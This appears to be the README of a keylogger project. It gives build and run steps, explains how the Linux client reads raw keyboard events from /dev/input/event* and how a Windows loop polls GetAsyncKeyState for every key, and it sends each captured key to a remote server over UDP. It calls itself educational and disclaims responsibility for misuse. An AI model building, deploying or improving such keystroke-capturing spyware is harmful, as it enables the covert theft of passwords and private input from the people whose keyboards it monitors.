make server
make linux_client
make windows_client
For run server :
./server
For run linux_client:
sudo ./client
The server can only run on linux machines
This program reads the contents of the file/dev/input/event*([0-9])
which is in the form of a struct :
struct input_event{
struct timeval time;
unsigned short type;
unsigned short code;
unsigned int value;
};
we retrieve the code which will then be converted into a real keyboard touch. We send the key to the server with the udp protocol.
The SIGINT(ctl + c) signal is redirected for a clean stop of the program.The /dev directory contains all files for all devices.
So we go to input directory to have all the input files.
You can do this commande cat /proc/bus/input/devices
to have
all the possible entries with their name and to see the correct event file. In my case it is the /dev/input/event0 file.
The porgramme works with an infinite loop. In this loop we find a for loop which will test for each key if it pressed. If this is the acse it is translated and sent to the server.
while (1)
for (DWORD i = 0; i < 255; i++)
if (GetAsyncKeyState(i) == -32767)
send_message(client, serv, translate_key(i));
I made an educational program to see how this kind of program works on linux and windows machines. I am not responsible for the use that can be made of it.
If you have any suggestions for improvement, I am always interested